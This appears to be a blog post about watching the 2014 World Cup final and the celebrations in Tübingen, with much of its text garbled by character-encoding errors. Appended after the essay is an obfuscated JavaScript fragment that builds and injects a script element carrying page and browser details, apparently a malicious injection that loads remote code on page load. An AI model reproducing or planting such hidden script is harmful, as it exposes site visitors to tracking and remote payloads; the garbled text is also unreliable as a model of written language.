ai???Super Deutschland! Super Deutschland!ai??? The chants rang out into the night long after Philipp Lahm lifted the trophy above his head in Rio, echoing through the medieval walls of TA?bingen. I watched the World Cup final in this sleepy student town of 85,000 located in southern Germany about 20 miles outside of Stuttgart. Hermann Hesse once studied here, where the local bookstore still remembers him, as did Johannes Kepler and Friedrich Hegel. The river Neckar runs through the town, with its red roofs and gables largely unscathed by the Second World War due to the cityai??i??s lack of industry.

Number Four has finally arrived

Number Four has finally arrived

The city was relatively quiet in the hours leading up to the game. There were people wearing jerseys and face paint throughout the streets, but little indication that they were 120 minutes away from becoming world champions. My friends and I were in an optimistic mood. Weai??i??d spent the previous day watching a local football tournament and strategizing about Jogi LAi??wai??i??s tactics, and our team, the BSV Flums, had gone home with the trophy. One victory must surely lead to another.

We settled into our seats at one of the university buildings, where over a hundred students had gathered. I waited for the national anthems, wondering if anyone would sing. Unlike Americans, who say the pledge of allegiance at school and stand for the national anthem at every baseball game, Germans are, for obvious historical reasons, wary of overt expressions of patriotism. Many Germans donai??i??t even know the words of their anthem. The 2006 World Cup, hosted in Germany, was the first time that flag-waving and anthem-singing became more accepted (but still mostly in the context of football.) Last night, on the eve of their fourth World Cup triumph, most of the room rose and proudly shouted out the words.

Uncharacteristically optimistic before the game, the Germans soon settled into nail biting as it became apparent that Argentina would not go the way of Brazil. The tension only grew with every passing minute, and with extra time self-belief started to wobble. When Mario GAi??tzeai??i??s goal went in in the 113th minute, the room exploded. Hugging, kissing, screamingai??i??Iai??i??m not sure anyone actually saw how the goal went in, just that it did. The remaining minutes felt like a lifetime, but when the final whistle blew, the happiness and the astonishment on the playersai??i?? faces were reflected in every face in the room.

Thankfully Big Kev didn't have any access to these Doner kebabs

Thankfully Big Kev didn’t have any access to these Doner kebabs

The weather didnai??i??t seem to understand what was happening, but the rain didnai??i??t dampen the celebrations. People danced to the beat of a drummer and the tune of a piper, hung flags on street signs and lampposts, and waited in long lines to eat celebratory dAi??ner kebabs. From time to time, they all sat down on the wet cobblestones while one person led call-and-response chants that culminated with a great shout and a skyward leap, as everyone began to jump.

It has been 24 years since Germanyai??i??s last World Cup triumph in 1990. It was still West Germany then, and the trophy marked the historical moment of reunification. This time, it seems to herald Germanyai??i??s economic and political eminence on the world stage. Or at least thatai??i??s what the newspapers are saying in their desire to assign a greater meaning to the win. On the streets of TA?bingen, where one in three people is a student, it didnai??i??t feel like a sociopolitical win, but the victory of youth. Like 22-year-old Mario GAi??tze, who scored the winning goal, many of the people dancing in the street hadnai??i??t even been born the last time Germany lifted the World Cup. For them, it was the perfect age to witness a victoryai??i??old enough to remember and appreciate it; young enough to feel like it truly belonged to them.

And that is in a way the most appropriate end to the World Cup, a global celebration of youth. This championship team averaged 26.8 years of age, and eight players were born after the fall of the Berlin Wall. Young players like James Rodriguez and John Anthony Brooks emerged on the world stage and seized their moment. At 24, Thomas MA?ller has scored 10 World Cup goals and won almost everything there is to win on a club and national level. Itai??i??s enough to make everyone else feel like they havenai??i??t done enough with their lives. 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d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}